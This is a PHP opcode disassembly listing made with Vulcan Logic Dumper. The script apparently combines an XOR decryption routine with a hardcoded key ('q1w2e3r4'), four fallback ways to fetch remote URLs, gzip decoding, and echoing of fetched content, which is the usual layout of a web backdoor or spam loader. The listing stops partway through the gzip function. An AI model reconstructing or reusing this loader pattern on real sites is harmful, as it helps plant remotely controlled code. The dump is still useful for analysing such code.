Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 5, Position 2 = 6 Branch analysis from position: 5 2 jumps found. (Code = 43) Position 1 = 11, Position 2 = 12 Branch analysis from position: 11 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 12 Branch analysis from position: 6 filename: /in/EhRiE function name: (null) number of ops: 16 compiled vars: none line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 81 0 E > INIT_FCALL 'function_exists' 1 SEND_VAL 'comgzi' 2 DO_ICALL $0 3 BOOL_NOT ~1 $0 4 > JMPZ ~1, ->6 82 5 > DECLARE_FUNCTION 'comgzi' 127 6 > INIT_FCALL 'function_exists' 7 SEND_VAL 'dcoo' 8 DO_ICALL $2 9 BOOL_NOT ~3 $2 10 > JMPZ ~3, ->12 128 11 > DECLARE_FUNCTION 'dcoo' 143 12 > INIT_FCALL 'day212' 13 DO_FCALL 0 $4 14 ECHO $4 15 > RETURN 1 Function en2: Finding entry points Branch analysis from position: 0 1 jumps found. (Code = 42) Position 1 = 24 Branch analysis from position: 24 2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8 Branch analysis from position: 32 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 8 2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8 Branch analysis from position: 32 Branch analysis from position: 8 filename: /in/EhRiE function name: en2 number of ops: 35 compiled vars: !0 = $s, !1 = $q, !2 = $l, !3 = $p, !4 = $r, !5 = $m, !6 = $g line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 3 0 E > RECV !0 1 RECV !1 4 2 ASSIGN !2, 'strlen' 5 3 ASSIGN !3, 'pack' 6 4 ASSIGN !4, 'substr' 7 5 ASSIGN !5, 'md5' 8 6 ASSIGN !6, '' 9 7 > JMP ->24 10 8 > INIT_DYNAMIC_CALL !3 9 SEND_VAL_EX 'H%2A' 10 INIT_DYNAMIC_CALL !5 11 CONCAT ~12 !6, !1 12 CONCAT ~13 ~12, 'q1w2e3r4' 13 SEND_VAL_EX ~13 14 DO_FCALL 0 $14 15 SEND_VAR_NO_REF_EX $14 16 DO_FCALL 0 $15 17 ASSIGN !1, $15 11 18 INIT_DYNAMIC_CALL !4 19 SEND_VAR_EX !1 20 SEND_VAL_EX 0 21 SEND_VAL_EX 8 22 DO_FCALL 0 $17 23 ASSIGN_OP 8 !6, $17 9 24 > INIT_DYNAMIC_CALL !2 25 SEND_VAR_EX !6 26 DO_FCALL 0 $19 27 INIT_DYNAMIC_CALL !2 28 SEND_VAR_EX !0 29 DO_FCALL 0 $20 30 IS_SMALLER $19, $20 31 > JMPNZ ~21, ->8 13 32 > BW_XOR ~22 !0, !6 33 > RETURN ~22 14 34* > RETURN null End of function en2 Function g_1: Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7 Branch analysis from position: 6 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 7 2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 16 Branch analysis from position: 15 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 16 1 jumps found. (Code = 62) Position 1 = -2 filename: /in/EhRiE function name: g_1 number of ops: 18 compiled vars: !0 = $url, !1 = $buf line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 16 0 E > RECV !0 17 1 INIT_FCALL 'function_exists' 2 SEND_VAL 'file_get_contents' 3 DO_ICALL $2 4 TYPE_CHECK 4 $2 5 > JMPZ ~3, ->7 6 > > RETURN <false> 18 7 > BEGIN_SILENCE ~4 8 INIT_FCALL 'file_get_contents' 9 SEND_VAR !0 10 DO_ICALL $5 11 END_SILENCE ~4 12 ASSIGN !1, $5 13 IS_EQUAL !1, '' 14 > JMPZ ~7, ->16 15 > > RETURN <false> 16 > > RETURN !1 19 17* > RETURN null End of function g_1 Function g_2: Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7 Branch analysis from position: 6 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 7 2 jumps found. (Code = 43) Position 1 = 43, Position 2 = 44 Branch analysis from position: 43 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 44 1 jumps found. (Code = 62) Position 1 = -2 filename: /in/EhRiE function name: g_2 number of ops: 46 compiled vars: !0 = $url, !1 = $ch, !2 = $res line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 20 0 E > RECV !0 21 1 INIT_FCALL 'function_exists' 2 SEND_VAL 'curl_init' 3 DO_ICALL $3 4 TYPE_CHECK 4 $3 5 > JMPZ ~4, ->7 6 > > RETURN <false> 23 7 > INIT_FCALL_BY_NAME 'curl_init' 8 DO_FCALL 0 $5 9 ASSIGN !1, $5 10 INIT_FCALL_BY_NAME 'curl_setopt' 11 SEND_VAR_EX !1 12 FETCH_CONSTANT ~7 'CURLOPT_URL' 13 SEND_VAL_EX ~7 14 SEND_VAR_EX !0 15 DO_FCALL 0 25 16 INIT_FCALL_BY_NAME 'curl_setopt' 17 SEND_VAR_EX !1 18 FETCH_CONSTANT ~9 'CURLOPT_RETURNTRANSFER' 19 SEND_VAL_EX ~9 20 SEND_VAL_EX 1 21 DO_FCALL 0 27 22 INIT_FCALL_BY_NAME 'curl_setopt' 23 SEND_VAR_EX !1 24 FETCH_CONSTANT ~11 'CURLOPT_TIMEOUT' 25 SEND_VAL_EX ~11 26 SEND_VAL_EX 10 27 DO_FCALL 0 28 28 INIT_FCALL_BY_NAME 'curl_setopt' 29 SEND_VAR_EX !1 30 FETCH_CONSTANT ~13 'CURLOPT_HEADER' 31 SEND_VAL_EX ~13 32 SEND_VAL_EX 0 33 DO_FCALL 0 29 34 INIT_FCALL_BY_NAME 'curl_exec' 35 SEND_VAR_EX !1 36 DO_FCALL 0 $15 37 ASSIGN !2, $15 30 38 INIT_FCALL_BY_NAME 'curl_close' 39 SEND_VAR_EX !1 40 DO_FCALL 0 31 41 IS_EQUAL !2, '' 42 > JMPZ ~18, ->44 32 43 > > RETURN <false> 33 44 > > RETURN !2 34 45* > RETURN null End of function g_2 Function g_3: Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7 Branch analysis from position: 6 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 7 2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 23 Branch analysis from position: 22 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 23 1 jumps found. (Code = 62) Position 1 = -2 filename: /in/EhRiE function name: g_3 number of ops: 25 compiled vars: !0 = $url, !1 = $inc, !2 = $buf line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 36 0 E > RECV !0 37 1 INIT_FCALL 'function_exists' 2 SEND_VAL 'file' 3 DO_ICALL $3 4 TYPE_CHECK 4 $3 5 > JMPZ ~4, ->7 6 > > RETURN <false> 38 7 > BEGIN_SILENCE ~5 8 INIT_FCALL 'file' 9 SEND_VAR !0 10 DO_ICALL $6 11 END_SILENCE ~5 12 ASSIGN !1, $6 39 13 BEGIN_SILENCE ~8 14 INIT_FCALL 'implode' 15 SEND_VAL '' 16 SEND_VAR !1 17 DO_ICALL $9 18 END_SILENCE ~8 19 ASSIGN !2, $9 40 20 IS_EQUAL !2, '' 21 > JMPZ ~11, ->23 22 > > RETURN <false> 41 23 > > RETURN !2 42 24* > RETURN null End of function g_3 Function g_4: Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 7 Branch analysis from position: 6 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 7 2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 20 Branch analysis from position: 18 2 jumps found. (Code = 43) Position 1 = 44, Position 2 = 45 Branch analysis from position: 44 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 45 2 jumps found. (Code = 43) Position 1 = 65, Position 2 = 71 Branch analysis from position: 65 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 71 1 jumps found. (Code = 42) Position 1 = 86 Branch analysis from position: 86 2 jumps found. (Code = 44) Position 1 = 92, Position 2 = 85 Branch analysis from position: 92 2 jumps found. (Code = 43) Position 1 = 99, Position 2 = 100 Branch analysis from position: 99 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 100 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 85 2 jumps found. (Code = 44) Position 1 = 92, Position 2 = 85 Branch analysis from position: 92 Branch analysis from position: 85 Branch analysis from position: 20 filename: /in/EhRiE function name: g_4 number of ops: 111 compiled vars: !0 = $url, !1 = $p, !2 = $host, !3 = $uri, !4 = $ip1, !5 = $ip2, !6 = $sock, !7 = $req, !8 = $buf, !9 = $t, !10 = $m line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 44 0 E > RECV !0 45 1 INIT_FCALL 'function_exists' 2 SEND_VAL 'socket_create' 3 DO_ICALL $11 4 TYPE_CHECK 4 $11 5 > JMPZ ~12, ->7 6 > > RETURN <false> 46 7 > BEGIN_SILENCE ~13 8 INIT_FCALL 'parse_url' 9 SEND_VAR !0 10 DO_ICALL $14 11 END_SILENCE ~13 12 ASSIGN !1, $14 47 13 FETCH_DIM_R ~16 !1, 'host' 14 ASSIGN !2, ~16 48 15 ISSET_ISEMPTY_DIM_OBJ 0 ~18 !1, 'query' 16 BOOL_NOT ~19 ~18 17 > JMPZ ~19, ->20 18 > ASSIGN_DIM !1, 'query' 19 OP_DATA '' 49 20 > FETCH_DIM_R ~21 !1, 'path' 21 CONCAT ~22 ~21, '%3F' 22 FETCH_DIM_R ~23 !1, 'query' 23 CONCAT ~24 ~22, ~23 24 ASSIGN !3, ~24 50 25 BEGIN_SILENCE ~26 26 INIT_FCALL 'gethostbyname' 27 SEND_VAR !2 28 DO_ICALL $27 29 END_SILENCE ~26 30 ASSIGN !4, $27 51 31 BEGIN_SILENCE ~29 32 INIT_FCALL 'long2ip' 33 BEGIN_SILENCE ~30 34 INIT_FCALL 'ip2long' 35 SEND_VAR !4 36 DO_ICALL $31 37 END_SILENCE ~30 38 SEND_VAR $31 39 DO_ICALL $32 40 END_SILENCE ~29 41 ASSIGN !5, $32 52 42 IS_NOT_EQUAL !4, !5 43 > JMPZ ~34, ->45 44 > > RETURN <false> 53 45 > BEGIN_SILENCE ~35 46 INIT_FCALL_BY_NAME 'socket_create' 47 FETCH_CONSTANT ~36 'AF_INET' 48 SEND_VAL_EX ~36 49 FETCH_CONSTANT ~37 'SOCK_STREAM' 50 SEND_VAL_EX ~37 51 FETCH_CONSTANT ~38 'SOL_TCP' 52 SEND_VAL_EX ~38 53 DO_FCALL 0 $39 54 END_SILENCE ~35 55 ASSIGN !6, $39 54 56 BEGIN_SILENCE ~41 57 INIT_FCALL_BY_NAME 'socket_connect' 58 SEND_VAR_EX !6 59 SEND_VAR_EX !4 60 SEND_VAL_EX 80 61 DO_FCALL 0 $42 62 END_SILENCE ~41 63 BOOL_NOT ~43 $42 64 > JMPZ ~43, ->71 65 > BEGIN_SILENCE ~44 66 INIT_FCALL_BY_NAME 'socket_close' 67 SEND_VAR_EX !6 68 DO_FCALL 0 69 END_SILENCE ~44 70 > RETURN <false> 55 71 > ROPE_INIT 3 ~47 'GET+' 72 ROPE_ADD 1 ~47 ~47, !3 73 ROPE_END 2 ~46 ~47, '+HTTP%2F1.0%0A' 74 ASSIGN !7, ~46 56 75 ROPE_INIT 3 ~51 'Host%3A+' 76 ROPE_ADD 1 ~51 ~51, !2 77 ROPE_END 2 ~50 ~51, '%0A%0A' 78 ASSIGN_OP 8 !7, ~50 79 INIT_FCALL_BY_NAME 'socket_write' 80 SEND_VAR_EX !6 81 SEND_VAR_EX !7 82 DO_FCALL 0 57 83 ASSIGN !8, '' 58 84 > JMP ->86 59 85 > ASSIGN_OP 8 !8, !9 58 86 > INIT_FCALL_BY_NAME 'socket_read' 87 SEND_VAR_EX !6 88 SEND_VAL_EX 10000 89 DO_FCALL 0 $57 90 ASSIGN ~58 !9, $57 91 > JMPNZ ~58, ->85 60 92 > BEGIN_SILENCE ~59 93 INIT_FCALL_BY_NAME 'socket_close' 94 SEND_VAR_EX !6 95 DO_FCALL 0 96 END_SILENCE ~59 61 97 IS_EQUAL !8, '' 98 > JMPZ ~61, ->100 99 > > RETURN <false> 63 100 > INIT_FCALL 'explode' 101 SEND_VAL '%0D%0A%0D%0A' 102 SEND_VAR !8 103 DO_ICALL $62 104 FETCH_LIST_R $63 $62, 0 105 ASSIGN !10, $63 106 FETCH_LIST_R $65 $62, 1 107 ASSIGN !8, $65 108 FREE $62 109 > RETURN !8 64 110* > RETURN null End of function g_4 Function gtd: Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 10, Position 2 = 11 Branch analysis from position: 10 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 11 2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 20 Branch analysis from position: 19 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 20 2 jumps found. (Code = 43) Position 1 = 28, Position 2 = 29 Branch analysis from position: 28 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 29 2 jumps found. (Code = 43) Position 1 = 37, Position 2 = 38 Branch analysis from position: 37 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 38 1 jumps found. (Code = 62) Position 1 = -2 filename: /in/EhRiE function name: gtd number of ops: 40 compiled vars: !0 = $url, !1 = $co line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 66 0 E > RECV !0 67 1 ASSIGN !1, '' 68 2 BEGIN_SILENCE ~3 3 INIT_FCALL 'g_1' 4 SEND_VAR !0 5 DO_FCALL 0 $4 6 END_SILENCE ~3 7 ASSIGN !1, $4 69 8 TYPE_CHECK 1018 !1 9 > JMPZ ~6, ->11 70 10 > > RETURN !1 71 11 > BEGIN_SILENCE ~7 12 INIT_FCALL 'g_2' 13 SEND_VAR !0 14 DO_FCALL 0 $8 15 END_SILENCE ~7 16 ASSIGN !1, $8 72 17 TYPE_CHECK 1018 !1 18 > JMPZ ~10, ->20 73 19 > > RETURN !1 20 > BEGIN_SILENCE ~11 21 INIT_FCALL 'g_3' 22 SEND_VAR !0 23 DO_FCALL 0 $12 24 END_SILENCE ~11 25 ASSIGN !1, $12 74 26 TYPE_CHECK 1018 !1 27 > JMPZ ~14, ->29 28 > > RETURN !1 75 29 > BEGIN_SILENCE ~15 30 INIT_FCALL 'g_4' 31 SEND_VAR !0 32 DO_FCALL 0 $16 33 END_SILENCE ~15 34 ASSIGN !1, $16 76 35 TYPE_CHECK 1018 !1 36 > JMPZ ~18, ->38 77 37 > > RETURN !1 78 38 > > RETURN '' 79 39* > RETURN null End of function gtd Function %00comgzi%2Fin%2FEhRiE%3A82%240: Finding entry points Branch analysis from position: 0 2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 71 Branch analysis from position: 8 2 jumps found. (Code = 43) Position 1 = 20, Position 2 = 59 Branch analysis from position: 20 2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 37 Branch analysis from position: 22 2 jumps found. (Code = 43) Position 1 = 39, Position 2 = 46 Branch analysis from position: 39 2 jumps found. (Code = 43) Position 1 = 48, Position 2 = 55 Branch analysis from position: 48 2 jumps found. (Code = 43) Position 1 = 57, Position 2 = 59 Branch analysis from position: 57 1 jumps found. (Code = 62) Position 1 = -2 Branch analysis from position: 59 Branch analysis from position: 55 Branch analysis from position: 46 Branch analysis from position: 37 Branch analysis from position: 59 Branch analysis from position: 71 1 jumps found. (Code = 62) Position 1 = -2 filename: /in/EhRiE function name: comgzi number of ops: 73 compiled vars: !0 = $gzData, !1 = $i, !2 = $flg, !3 = $xlen line #* E I O op fetch ext return operands ------------------------------------------------------------------------------------- 82 0 E > RECV !0 83 1 INIT_FCALL 'substr' 2 SEND_VAR !0 3 SEND_VAL 0 4 SEND_VAL 3 5 DO_ICALL $4 6 IS_EQUAL $4, '' 7 > JMPZ ~5, ->71 84 8 > ASSIGN !1, 10 9 INIT_FCALL 'ord' 10 INIT_FCALL 'substr' 11 SEND_VAR !0 12 SEND_VAL 3 13 SEND_VAL 1 14 DO_ICALL $7 15 SEND_VAR $7
Generated using Vulcan Logic Dumper, using php 8.0.0